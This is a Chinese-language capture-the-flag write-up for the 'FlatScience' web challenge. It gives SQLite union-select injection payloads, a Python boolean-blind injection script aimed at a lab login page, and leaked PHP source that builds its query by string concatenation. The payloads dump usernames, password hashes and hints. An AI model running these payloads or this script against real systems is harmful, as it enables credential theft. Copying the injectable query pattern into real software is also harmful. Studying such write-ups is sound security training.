FlatScience

FlatScience

知识点

SQLite注入

SQLite数据库只有它本身一个数据库，有一个sqlite_master隐藏表，里面存放我们建表的记录

有个重要的点值得注意，SQLite 是不区分大小写的，但也有一些命令是大小写敏感的，比如 GLOB和 glob 在 SQLite 的语句中有不同的含义。

注释符:-- 或者 /**/或者#

payload:

爆表

1' union select 1,name from sqlite_master where type='table' order by name--

爆建表记录

1' union select name,sql from sqlite_master--

爆具体字段

1' union select 11,[column_name] from [table_name] limit 0,1

注:通过limit来进行位移，爆出所有数据

也可以通过group_concat

1' union select 11,group_concat([column_name]) from [table_name] --

错误姿势

进去题目，所有页面都访问一下，发现全是pdf文件，然后我们是试着用dirsearch扫一下。

返回了 login.php , admin.php ,robots.txt

我们访问robots.txt,提示的是login.php和admin.php

然后再访问admin.php,右键看源码，没有提示，sqlmap扫一下，没有sql注入点。

再访问login.php，右键看下源码，没有提示（实际上没看到），并且sqlmap扫一下，有sql注入点。

然后再根据sqlmap提示，这是个SQLite3的数据库，并且注入类型是bool盲注。然后我就在网上查询了SQLite3的注入方式，写了个脚本

import requests

import sys

url='http://220.249.52.133:50481/login.php'
#sql="admin' and substr((select group_concat(name) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(id) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(password) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(hint) from Users limit 0,1),{0},1)='{1}' --"
sql="admin' and substr((select sql from sqlite_master limit 0,1),{0},1)='{1}' --"
headers={
"Host": "220.249.52.133:38783",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "143",
"Origin": "http://220.249.52.133:38783",
"Connection": "close",
"Referer": "http://220.249.52.133:38783/login.php",
"Cookie": "PHPSESSID=f16c520bbc0d80681718cdb839ea6d04",
"Upgrade-Insecure-Requests": "1"
}
flag=''
for i in range(1,150):
	print('guess',str(i))
	for ch in range(32,128):

		sqli=sql.format(i,chr(ch))
		data={"usr":sqli,"pw":"12345"}
		response=requests.post(url,data=data,headers=headers).text

		if (len(response)==1023):
			flag+=chr(ch)
			print(flag)
			break

虽然最后跑出来了数据库具体内容但是时间非常久，不划算。在写脚本中忘记加headers头，搞了很久。。

跑出来了之后在!https://www.somd5.com/解密一下admin对应的md5，ThinJerboaSalz!

然后去admin.php登录，死活密码错误。无奈看了wp

正确姿势

原来我没有看见login.php页面处源码的提示

构造?debug=111

回显源码

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

根据源码，我们发现后台数据库是SQLite3,并且未对两个参数进行过滤，存在注入，而且注入回显点在第二个位置，并且回显在cookie里

我们抓包进行注入

构造

1' union select name,sql from sqlite_master limit 0,1 --

回显CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

我们知道了有Users表，里面列名是id,name,password,hint

构造

1' union select 11,group_concat(id) from Users --

回显1,2,3

构造

1' union select 11,group_concat(name) from Users --

回显admin,fritze,hansi

构造

1' union select 11,group_concat(password) from Users --

回显3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd

构造

1' union select 11,group_concat(hint) from Users --

回显

my fav word in my fav paper?!,my love is…?,the password is password;

我们用admin对应的md5值去进行解密

得到了ThinJerboaSalz!

然后再根据后代源码

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

得到$pass=ThinJerboa

进行登录，拿到flag

网上有大佬用python脚本进行破解的，python太菜了，着实看不懂，也写不出。。。。